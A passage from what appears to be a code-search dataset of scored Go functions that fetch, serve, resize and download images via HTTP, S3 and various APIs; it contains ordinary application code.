err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "37b87bfa1e8856f690f96f043ef2c778", "score": "0.6282986", "text": "func (client *Client) GetImage(request *GetImageRequest) (response *GetImageResponse, err error) {\n\tresponse = CreateGetImageResponse()\n\terr = client.DoAction(request, response)\n\treturn\n}", "title": "" }, { "docid": "3617fa2e8c844cde436644cfd32d72a7", "score": "0.6250201", "text": "func (i *ImageHandler) GetImage(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\n\thttp.ServeFile(w, r, filepath.Join(dir, vars[\"name\"]))\n}", "title": "" }, { "docid": "76ca9a3bfc81d7b73afc7a0fc3d3c643", "score": "0.6246193", "text": "func createImage(c *gin.Context) {\n\turl := c.Query(\"url\")\n\timage := db.CreateImage(url)\n\tc.JSON(201, image)\n}", "title": "" }, { "docid": "385c7f5e6ad60502834239092bce0854", "score": "0.6221399", "text": "func getImageURL() (imgURL string, imgFilename string) {\n\tdomain, url := \"https://www.bing.com/\", \"https://cn.bing.com/\"\n\t// Make HTTP GET request\n\tresponse, err := http.Get(domain)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer response.Body.Close()\n\n\t// Turn HTML string to document\n\tre := regexp.MustCompile(\"data-ultra-definition-src=\\\".+?\\\\.jpg\")\n\thtmlData, _ := ioutil.ReadAll(response.Body)\n\timgURL = re.FindString(string(htmlData))\n\timgURL = imgURL[28:]\n\timgFilename = imgURL[6:]\n\t//document, err := goquery.NewDocumentFromReader(response.Body)\n\t//if err != nil {\n\t//\tlog.Fatal(\"Error loading HTTP response body.\\n\", err)\n\t//}\n\n\t// Find background url\n\t//document.Find(\"link#bgLink\").Each(func(index int, element *goquery.Selection) {\n\t//\timgSrc, exists := element.Attr(\"href\")\n\t//\tif exists {\n\t//\t\turl = domain + imgSrc\n\t//\t}\n\t//})\n\tif 0 < len(imgURL) {\n\t\tlog.Println(\"Image URL found: \" + imgURL)\n\t\treturn url + imgURL, imgFilename\n\t} else {\n\t\treturn \"\", \"\"\n\t}\n}", "title": "" }, { "docid": "48d8a385443ffaeb1aeaef7e56203472", "score": "0.62166727", "text": "func getImage(bucket, key, userId string, downloader *s3manager.Downloader, lc *lambdacontext.LambdaContext, anlogger *commons.Logger) (*aws.WriteAtBuffer, error) {\n\tanlogger.Debugf(lc, \"resize_photo.go : get image from bucket [%s] with a key [%s] for userId [%s]\", bucket, key, userId)\n\n\tbuff := &aws.WriteAtBuffer{}\n\t_, err := downloader.Download(buff, &s3.GetObjectInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(key),\n\t})\n\treturn buff, err\n}", "title": "" }, { "docid": "1aab0b15b06ee23fe24340ff4d1eb1f9", "score": "0.62145764", "text": "func NewImageToImageClient(userName string, apiKey string) ImageToImageClient {\n helper := newConnectionHelper(userName, apiKey)\n fields := map[string]string{\n \"input_format\": \"image\",\n \"output_format\": \"png\",\n }\n return ImageToImageClient{ helper, fields, make(map[string]string), make(map[string][]byte), 1}\n}", "title": "" }, { "docid": "ae613f36adeb8f0fdf3452c5b478694c", "score": "0.62083006", "text": "func GetImageURL(word string) (string, error) {\n\n\timgURL := \"\"\n\tr := regURL + word\n\tresp, err := http.Get(r)\n\tif err != nil {\n\t\treturn imgURL, err\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn imgURL, err\n\t}\n\n\tjs, err := simplejson.NewJson(body)\n\tif err != nil {\n\t\treturn imgURL, err\n\t}\n\n\timgURL = js.GetPath(\"responseData\", \"results\").GetIndex(1).Get(\"url\").MustString()\n\treturn imgURL, nil\n}", "title": "" }, { "docid": "18e64dfc702ef77e42ca43dc545fa2ba", "score": "0.6203866", "text": "func GetImage(uuid dvid.UUID, i IntHandler, e ExtHandler) (*dvid.Image, error) {\n\tif err := GetVoxels(uuid, i, e); err != nil {\n\t\treturn nil, err\n\t}\n\treturn e.GetImage2d()\n}", "title": "" }, { "docid": "c56cbc76f73fc058a91689a9b5dbd328", "score": "0.61977744", "text": "func GetImage(ctx context.Context, admin bool, tenant, ID string) (*Image, error) {\n\tvar image *Image\n\targs := []string{\"show\", \"image\", ID, \"-f\", \"{{tojson .}}\"}\n\n\tvar err error\n\tif admin {\n\t\terr = RunCIAOCmdAsAdminJS(ctx, tenant, args, &image)\n\t} else {\n\t\terr = RunCIAOCmdJS(ctx, tenant, args, &image)\n\t}\n\n\treturn image, err\n}", "title": "" }, { "docid": "092b7a546502c048b71901ec896457a9", "score": "0.6193505", "text": "func CreateImage(w http.ResponseWriter, r *http.Request) (interface{}, error) {\n\tuserID := GetUserIDfromReq(w, r)\n\tif userID == -1 {\n\t\treturn nil, errors.New(\"не зарегистрированы в сети\")\n\t}\n\n\tlink, name := r.PostFormValue(\"link\"), r.PostFormValue(\"filename\")\n\ti := &orm.Image{\n\t\tSource: link, Name: name,\n\t\tUserID: userID,\n\t}\n\n\tparselID, e := strconv.Atoi(r.PostFormValue(\"whomID\"))\n\tif e != nil {\n\t\treturn nil, errors.New(\"не корректная посылка\")\n\t}\n\ti.ParselID = parselID\n\n\tif _, e = i.Create(); e != nil {\n\t\twd, _ := os.Getwd()\n\t\tos.Remove(wd + i.Source)\n\t\treturn nil, errors.New(\"не удалось прикрепить фото\")\n\t}\n\treturn nil, nil\n}", "title": "" }, { "docid": "acf2a27065252799cd9e903a0fba8c47", "score": "0.6162783", "text": "func fetchImageHandler(w http.ResponseWriter, r *http.Request) {\n\thr := HTTPResponse{w}\n\tctx := GetContext(r)\n\n\timage := &metadata.Image{}\n\tif err := json.NewDecoder(r.Body).Decode(image); err != nil {\n\t\thr.JSONMsg(http.StatusBadRequest, err.Error())\n\t\treturn\n\t}\n\timage.ID = metadata.NewID()\n\n\t// Ensure sufficient information for fetching\n\tif image.Source == \"\" {\n\t\thr.JSONMsg(http.StatusBadRequest, \"missing image source\")\n\t\treturn\n\t}\n\tif !metadata.IsValidImageType(image.Type) {\n\t\thr.JSONMsg(http.StatusBadRequest, \"invalid image type\")\n\t\treturn\n\t}\n\n\timage, err := ctx.Fetcher.Fetch(image)\n\tif err != nil {\n\t\thr.JSONError(http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\thr.JSON(http.StatusAccepted, image)\n}", "title": "" }, { "docid": "7a600a86570c2a639f69706a4ece6caf", "score": "0.6146267", "text": "func getImage(w http.ResponseWriter, r *http.Request) {\n\n\timageid, ok := r.URL.Query()[\"imageid\"]\n\tif !ok || len(imageid[0]) < 1 {\n\t\tlog.Println(\"imageid is missing\")\n\t\treturn\n\t}\n\talbumid, ok := r.URL.Query()[\"albumid\"]\n\tif !ok || len(albumid[0]) < 1 {\n\t\tlog.Println(\"imageid is missing\")\n\t\treturn\n\t}\n\n\tlog.Println(imageid[0], albumid[0])\n\tvar getimage GetImageStruct\n\tgetimage.ImageID = imageid[0]\n\tgetimage.AlbumID = albumid[0]\n\timagepath, err := gettingImage(getimage)\n\tif err != nil {\n\t\tw.WriteHeader(403)\n\t\tWriteJSONResponse(w, 403, \"Invalid image or albumid\")\n\t\tfmt.Println(\"Invalid image or albumid\")\n\t\tfmt.Println(err)\n\t\treturn\n\t} else {\n\t\tfilebytes, err := ioutil.ReadFile(imagepath)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error while reading the file\")\n\t\t}\n\t\t_, err = w.Write(filebytes)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error while writing the file\")\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\treturn\n\t}\n\n}", "title": "" }, { "docid": "bb528af4c020ac8afc60cdb6b4d5158c", "score": "0.6133237", "text": "func getImageHandler(w http.ResponseWriter, r *http.Request) {\n\thr := HTTPResponse{w}\n\n\timage := getImage(w, r)\n\tif image == nil {\n\t\treturn\n\t}\n\n\thr.JSON(http.StatusOK, image)\n}", "title": "" }, { "docid": "5a351523890725eae6b92a550acaa280", "score": "0.61316764", "text": "func (o HorreumSpecKeycloakOutput) Image() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v HorreumSpecKeycloak) *string { return v.Image }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "8cde1b568d7a89ca840dcc6e7bedda91", "score": "0.61241984", "text": "func (s *APIService) GetImage(ctx context.Context, imageID string) (interface{}, *APIError) {\n\tmethodName := \"GetImage\"\n\tlog.Printf(\"%s - Getting image (%s)...\", methodName, imageID)\n\n\terr := isValidUUID(imageID, \"imageID\")\n\tif err != nil {\n\t\treturn nil, &APIError{code: http.StatusBadRequest, message: err.Error()}\n\t}\n\n\tresult := *s.dbClient.Database(\"ico\").Collection(\"images\").FindOne(ctx, bson.M{\"_id\": imageID})\n\terr = result.Err()\n\tif err != nil {\n\t\tswitch err {\n\t\tcase mongo.ErrNoDocuments:\n\t\t\treturn nil, &APIError{code: http.StatusNotFound, message: \"Image not found\"}\n\t\tdefault:\n\t\t\treturn nil, &APIError{code: http.StatusInternalServerError, message: err.Error()}\n\t\t}\n\t}\n\n\timage := &Image{}\n\terr = result.Decode(image)\n\tif err != nil {\n\t\treturn nil, &APIError{code: http.StatusInternalServerError, message: err.Error()}\n\t}\n\tlog.Printf(\"%s - Get image successful\", methodName)\n\n\treturn *image, nil\n}", "title": "" }, { "docid": "9509ed50782a07e1cecac1f1c1f4ce70", "score": "0.6121923", "text": "func (c *Client) GetImage(ctx context.Context, ref string) (Image, error) {\r\n\ti, err := c.ImageService().Get(ctx, ref)\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\treturn NewImage(c, i), nil\r\n}", "title": "" }, { "docid": "0501fd5a3b3a02348240341b4d5e9608", "score": "0.6119404", "text": "func (s *Service) GetImage(ID uint) (Image, error) {\n var image Image\n if result := s.DB.First(&image, ID); result.Error != nil {\n return Image{}, result.Error\n }\n\n return image, nil\n}", "title": "" }, { "docid": "a824aeb710c5aee641e08a36a775a25a", "score": "0.6111915", "text": "func CreateSingleImage(output http.ResponseWriter, reader *http.Request) {\n\tLog(\"info\", \"Endpoint Hit: CreateSingleImage\")\n\tvar img Image\n\n\tfile, handle, err := reader.FormFile(\"image\")\n\tErrorHandler(err)\n\tdefer file.Close()\n\n\tswitch handle.Header.Get(\"Content-Type\") {\n\tcase \"image/jpeg\", \"image/png\":\n\t\tsaveFile(output, handle, file)\n\tdefault:\n\t\toutput.Header().Set(\"Content-Type\", \"application/json\")\n\t\toutput.WriteHeader(http.StatusBadRequest)\n\t\tfmt.Fprint(output, \"The format file is not valid.\")\n\t}\n\n\timg.Caption = reader.FormValue(\"caption\")\n\timg.Image = viper.GetString(\"imgAddr\") + handle.Filename\n\timg.Thumbnail = viper.GetString(\"imgAddr\") + handle.Filename\n\t_, err = DB.Query(\"INSERT INTO images VALUES(null,?,?,?)\", img.Image, img.Thumbnail, img.Caption)\n\tErrorHandler(err)\n\n\toutput.Header().Set(\"Content-Type\", \"application/json\")\n\toutput.WriteHeader(http.StatusOK)\n\tJSON.NewEncoder(output).Encode(img)\n}", "title": "" }, { "docid": "07969754642087ff60e633aa6908382e", "score": "0.61072206", "text": "func openImageURLtoBytes(w http.ResponseWriter, r *http.Request, imgURL string) []byte {\n\t//c := appengine.NewContext(r)\n\t//client := urlfetch.Client(c)\n urlRespBytes, err := fetchURLB(w,r,imgURL)\n if err != nil {\n //log.Printf(\"ERROR: %v\", err)\n }\n\treturn urlRespBytes\n}", "title": "" }, { "docid": "694ea35ee07bf97caee14b36960c16fd", "score": "0.6087839", "text": "func ImageToBase64(url string) string {\n\tres, _ := http.Get(url)\n\tbodyBytes, _ := ioutil.ReadAll(res.Body)\n\timgBase64Str := base64.StdEncoding.EncodeToString(bodyBytes)\n\treturn imgBase64Str\n}", "title": "" }, { "docid": "9e8e18f899fb321d29cc9d280f308044", "score": "0.60876316", "text": "func (o BuildArtifactResponseOutput) Image() pulumi.StringOutput {\n\treturn o.ApplyT(func(v BuildArtifactResponse) string { return v.Image }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "6aef0ffc59da2c0b6c7b31ee6386a99d", "score": "0.60802704", "text": "func Image(i *webpage.Info, sourceURL string, contentType string, log klogger.KLogger) {\n\tif !(strings.Index(contentType, \"image/\") == 0) {\n\t\treturn\n\t}\n\n\tlog.Infof(\"Running Image plugin.\")\n\n\ti.ImageURL = \"\"\n\ti.Caption = sourceURL[strings.LastIndex(sourceURL, \"/\")+1:]\n\ti.Description = \"<img src=\\\"\" + sourceURL + \"\\\">\"\n}", "title": "" }, { "docid": "eb0b4b591afe100c7265679fad864dfc", "score": "0.6076623", "text": "func GetPicture(w http.ResponseWriter, r *http.Request) {\n\tdb := r.Context().Value(\"db\").(*sqlx.DB)\n\n\tcategory := r.URL.Query().Get(\"category\")\n\n\timage, err := models.NewImageFactory(db).GetByCategoryLike(nil, category)\n\tif err != nil {\n\t\tlibhttp.HandleErrorJson(w, err)\n\t\treturn\n\t}\n\n\timageBytes, _ := json.Marshal(image)\n\t_, _ = w.Write(imageBytes)\n}", "title": "" }, { "docid": "e80848cd5abd9e78da24889596056444", "score": "0.60730016", "text": "func (r Repo) ImageURL() string {\n\tfor imagePath, details := range r {\n\t\trepoURL, imageName := filepath.Split(imagePath)\n\t\tfor version := range details {\n\t\t\treturn filepath.Join(repoURL, imageTag(imageName, version))\n\t\t}\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "f56350f8d55c614ae445d1754cb92f5c", "score": "0.6072752", "text": "func (api *API) BaseImage(ctx context.Context, accountID string, id string) ([]byte, error) {\n\turi := fmt.Sprintf(\"/accounts/%s/images/v1/%s/blob\", accountID, id)\n\n\tres, err := api.makeRequestContext(ctx, http.MethodGet, uri, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn res, nil\n}", "title": "" }, { "docid": "c15b2fbe489d6ff61244a2a7336a6603", "score": "0.60720146", "text": "func (a *MiscApiService) ImageAnalysisByURL(ctx context.Context, imageUrl string) (InlineResponse20049, *http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Get\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue InlineResponse20049\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/food/images/analyze\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\tlocalVarQueryParams.Add(\"imageUrl\", parameterToString(imageUrl, \"\"))\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarQueryParams.Add(\"apiKey\", key)\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\tlocalVarHttpResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHttpResponse.Status,\n\t\t}\n\t\tif localVarHttpResponse.StatusCode == 200 {\n\t\t\tvar v InlineResponse20049\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t}\n\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHttpResponse, nil\n}", "title": "" }, { "docid": "6784ceb821b42616dd23c19b934e593f", "score": "0.60637903", "text": "func (captcha Captcha) GetImageURL() string {\n\treturn pathToImage + captcha.id + \".png\"\n}", "title": "" }, { "docid": "f8d6f8b93bd4828033433b9c0876e02e", "score": "0.6046317", "text": "func (i ImageData) getImageLink() string {\n\tresponse, err := http.Get(i.homepage)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer response.Body.Close()\n\n\thtml, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The page should contain a link to the embedded photo that looks like\n\t// //img3.onthesnow.com/webcams/25/1814/2018-09-06_1357/la.jpg\n\tre := regexp.MustCompile(i.imageLinkRe) // will panic on compile failure\n\tmatch := re.FindString(string(html))\n\tif len(match) == 0 {\n\t\tpanic(fmt.Sprintf(\"Could not find embedded i in %s using pattern '%s\", i.homepage, i.imageLinkRe))\n\t}\n\n\treturn fmt.Sprintf(\"https:%s\", match)\n}", "title": "" }, { "docid": "943dc0cbe6d8234f28e050afe8249461", "score": "0.60405594", "text": "func downloadAsImage(url string) (image.Image, error) {\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\timg, _, err := image.Decode(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn img, nil\n}", "title": "" }, { "docid": "e0cbb9beeaf9f5f6aee8413729e55e9c", "score": "0.6035443", "text": "func (h *App) Get(w http.ResponseWriter, r *http.Request) {\n\n\tjsonErrorResponse := []JSONErrorRespose{}\n\turlReq := r.URL.Path\n\taux := strings.LastIndex(urlReq, \"/\")\n\tpathFinal := \"./assets/encoded/\" + urlReq[aux:]\n\tdata, err := h.imageGetter.Get(pathFinal)\n\tif err != nil {\n\t\tlog.Printf(\"Body of error: %s\", err)\n\t\tjsonErrorResponse = append(jsonErrorResponse, JSONErrorRespose{err.Error()})\n\t\tw.WriteHeader(400)\n\t\tjson.NewEncoder(w).Encode(jsonErrorResponse)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"image/bmp\")\n\tw.Write(data)\n\n}", "title": "" }, { "docid": "4c615621fb8d1836fe701c91de037cf4", "score": "0.60322547", "text": "func GenerateImgixURL(image string, imageType string) (fullPath string, err error) {\n\t_, err = url.ParseRequestURI(image)\n\tif err != nil {\n\t\t// image uploaded using Imgix\n\t\tfullPath = GetImgixURL(image)\n\t} else {\n\t\t// old image\n\t\tfullPath, err = GetOldImageURL(image, imageType)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\treturn fullPath, nil\n}", "title": "" }, { "docid": "9a633515c622f452bf9dabc251d7ea6b", "score": "0.6031954", "text": "func (i *Image) URL() string {\n\treturn cdnURL + \"/\" + i.ID\n}", "title": "" }, { "docid": "fc202892fe39aabbb5963af7e0e52f65", "score": "0.60315996", "text": "func (c ImageClient) ViewImage(id string) (Image, error) {\n\tvar image Image\n\tdata, err := c.api.Get(\"images/\" + id)\n\tif err != nil {\n\t\treturn image, errors.Wrap(err, \"failed to make request for ViewImage\")\n\t}\n\n\tif err := json.Unmarshal(data, &image); err != nil {\n\t\treturn image, errors.Wrap(err, \"failed to unmarshal ViewImage data\")\n\t}\n\n\treturn image, nil\n}", "title": "" }, { "docid": "a1b10d214d00c91c6082d69b400d7514", "score": "0.60301703", "text": "func loadSourceImage() (image.Image, error) {\n\tresp, err := http.Get(srcImage)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"invalid status code fetching src image at %s - %d \", srcImage, resp.StatusCode)\n\t}\n\timg, _, err := image.Decode(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp.Body.Close()\n\treturn img, nil\n}", "title": "" }, { "docid": "47a1582af7d09a99173c0952c83f7d21", "score": "0.6007218", "text": "func (m *MBResponse) Image(url string) {\n\tm.Messages = append(m.Messages, OutgoingMessage{\n\t\tAttachment: &OutgoingAttachment{\n\t\t\tType: \"image\",\n\t\t\tPayload: TemplatePayload{\n\t\t\t\tURL: url,\n\t\t\t\tIsReusable: true,\n\t\t\t},\n\t\t},\n\t})\n}", "title": "" }, { "docid": "67a41f8c399e06ab001ff2bdda090481", "score": "0.6006981", "text": "func fetchImg() (string, error) {\n\tswitch distro {\n\tcase odroidC1:\n\t\t// http://odroid.com/dokuwiki/doku.php?id=en:odroid-c1\n\t\t// http://odroid.in/ubuntu_16.04lts/\n\t\tmirror := \"https://odroid.in/ubuntu_16.04lts/\"\n\t\t// http://east.us.odroid.in/ubuntu_16.04lts\n\t\t// http://de.eu.odroid.in/ubuntu_16.04lts\n\t\t// http://dn.odroid.com/S805/Ubuntu\n\t\timgname := \"ubuntu-16.04.2-minimal-odroid-c1-20170221.img\"\n\t\tif f, _ := os.Open(imgname); f != nil {\n\t\t\tfmt.Printf(\"- Reusing Ubuntu minimal image %s\\n\", imgname)\n\t\t\tf.Close()\n\t\t\treturn imgname, nil\n\t\t}\n\t\tfmt.Printf(\"- Fetching %s\\n\", imgname)\n\t\tresp, err := http.DefaultClient.Get(mirror + imgname + \".xz\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer resp.Body.Close()\n\t\tr, err := xz.NewReader(resp.Body)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tf, err := os.Create(imgname)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\t// Decompress as the file is being downloaded.\n\t\tif _, err = io.Copy(f, r); err != nil {\n\t\t\tf.Close()\n\t\t\treturn \"\", err\n\t\t}\n\t\tif err := f.Close(); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn imgname, nil\n\tcase raspbian:\n\t\timgurl, imgname := raspbianGetLatestImageURL()\n\t\tif f, _ := os.Open(imgname); f != nil {\n\t\t\tfmt.Printf(\"- Reusing Raspbian Jessie Lite image %s\\n\", imgname)\n\t\t\tf.Close()\n\t\t\treturn imgname, nil\n\t\t}\n\t\tfmt.Printf(\"- Fetching %s\\n\", imgname)\n\t\t// Read the whole file in memory. This is less than 300Mb. Save to disk if\n\t\t// it is too much for your system.\n\t\t// TODO(maruel): Progress bar?\n\t\tz, err := fetchURL(imgurl)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\t// Because zip header is at the end of the file, extraction can only begin\n\t\t// once the file is fully downloaded.\n\t\tfmt.Printf(\"- Extracting zip\\n\")\n\t\tr, err := zip.NewReader(bytes.NewReader(z), int64(len(z)))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tfor _, fi := range r.File {\n\t\t\tif filepath.Base(fi.Name) == imgname {\n\t\t\t\ta, err := fi.Open()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t\tf, err := os.Create(imgname)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t\tif _, err = io.Copy(f, a); err != nil {\n\t\t\t\t\tf.Close()\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t\tif err := f.Close(); err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t\treturn imgname, nil\n\t\t\t}\n\t\t}\n\t\treturn \"\", errors.New(\"failed to find image in zip\")\n\tdefault:\n\t\t// - https://www.armbian.com/download/\n\t\t// - https://beagleboard.org/latest-images better to flash then run setup.sh\n\t\t// manually.\n\t\t// - https://flash.getchip.com/ better to flash then run setup.sh manually.\n\t\treturn \"\", fmt.Errorf(\"don't know how to fetch distro %s\", distro)\n\t}\n}", "title": "" }, { "docid": "f8b6bdebb9d4e8de4b59c2f6f395699f", "score": "0.5978831", "text": "func ImageShow(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tvar buff bytes.Buffer\n\tsize := vars[\"size\"]\n\timageID := vars[\"imageId\"]\n\n\tsrc, imgFormat, err := openImage(workingDirectory + imageID)\n\tif err != nil {\n\t\tfmt.Println(errors.Wrap(err, \"cannot find the image file\"))\n\t}\n\timgWidth, imgHeight := src.Bounds().Max.X, src.Bounds().Max.Y\n\tnewWidth, err := strconv.Atoi(size)\n\tnewHeight := newWidth\n\t// new size of image\n\tif imgWidth > imgHeight {\n\t\tnewHeight = int(float32(newHeight) * float32(imgHeight) / float32(imgWidth))\n\t} else {\n\t\tnewWidth = int(float32(newWidth) * float32(imgWidth) / float32(imgHeight))\n\t}\n\tdst := image.NewRGBA(image.Rect(0, 0, newWidth, newHeight))\n\t// resize using given scaler\n\tdraw.BiLinear.Scale(dst, dst.Bounds(), src, src.Bounds(), draw.Over, nil)\n\tswitch imgFormat {\n\tcase \"jpeg\":\n\t\tjpeg.Encode(&buff, dst, nil)\n\tcase \"png\":\n\t\tpng.Encode(&buff, dst)\n\tcase \"gif\":\n\t\tgif.Encode(&buff, dst, nil)\n\t}\n\t// Encode the bytes in the buffer to a base64 string\n\tencodedString := base64.StdEncoding.EncodeToString(buff.Bytes())\n\n\t// You can embed it in an html doc with this string\n\trend.HTML(w, http.StatusOK, \"show\", encodedString)\n}", "title": "" }, { "docid": "cb3d485d897b90a378796f44d0a1aca9", "score": "0.5972491", "text": "func fetch_image(){\n\tfmt.Println(\"Fetching image\")\n\trand.Seed(17)\n\n\tx := strconv.Itoa(rand.Intn(400))\n\ty := strconv.Itoa(rand.Intn(400))\n\tfmt.Printf(\"X: %s, Y: %s\\n\",x,y)\n\t//cmd := []string{}\n\tcmd := \"wget\"\n\targs := []string{\"https://picsum.photos/\"+x+\"/\"+y,\"-O\", \"raw.png\"}\n\tif err := exec.Command(cmd,args...).Run(); err != nil{\n\t\tfmt.Fprintln(os.Stderr,err)\n\t\tos.Exit(1)\n\t}\n\tfmt.Println(\"Successfully fetched image\")\n\t//process := exec.Command(cmd[0])\n\n}", "title": "" }, { "docid": "c668973becdcffde4acadf5f7b805c38", "score": "0.59724426", "text": "func downloadImage(url1, url2, imageDir string) (string, error) {\n\t// First attempt to download the requested resolution.\n\timgUrl := url1\n\tresp, err := http.Get(imgUrl)\n\tif err != nil {\n\t\t// The requested resolution was not available, therefore\n\t\t// we fall back to the default images.\n\t\timgUrl = url2\n\t\tif resp, err = http.Get(imgUrl); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"fetch image data: %v\", err)\n\t\t}\n\t}\n\tdefer resp.Body.Close()\n\n\trelFileName := path.Base(imgUrl)\n\tabsFileName := path.Join(imageDir, relFileName)\n\n\tif _, err := os.Stat(absFileName); os.IsNotExist(err) {\n\t\t// path/to/whatever does not exist\n\t\timgFile, err := os.Create(absFileName)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"create image file: %v\", err)\n\t\t}\n\t\tdefer imgFile.Close()\n\n\t\tif _, err:= io.Copy(imgFile, resp.Body); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"copy image: %v\", err)\n\t\t}\n\t}\n\treturn absFileName, nil\n}", "title": "" }, { "docid": "a44cff7acc0dc337e4645adfb1bd0078", "score": "0.59646297", "text": "func (pp *MangaParser) getImage(eachArea *goquery.Selection) string {\n\timage, _ := eachArea.Find(\"div.image img\").Attr(\"data-src\")\n\treturn utils.URLCleaner(image, \"image\", pp.Config.CleanImageURL)\n}", "title": "" }, { "docid": "723bab0b4db514ed48a4e57ae7df815a", "score": "0.59608287", "text": "func (is *ImageService) GetImage(tenantID, imageID string) (image.DefaultResponse, error) {\n\tglog.Infof(\"Getting Image [%v] from [%v]\", imageID, tenantID)\n\tvar response image.DefaultResponse\n\n\timg, err := is.ds.GetImage(tenantID, imageID)\n\tif err != nil {\n\t\tglog.Errorf(\"Error on getting image: %v\", err)\n\t\treturn response, err\n\t}\n\n\tif (img == imageDatastore.Image{}) {\n\t\tglog.Infof(\"Image %v not found\", imageID)\n\t\treturn response, image.ErrNoImage\n\t}\n\n\tresponse, _ = createImageResponse(img)\n\tglog.Infof(\"Image %v found\", imageID)\n\treturn response, nil\n}", "title": "" }, { "docid": "d6fea6413a369184b2e7f7ce1848b894", "score": "0.595519", "text": "func GetImage(rw http.ResponseWriter, req 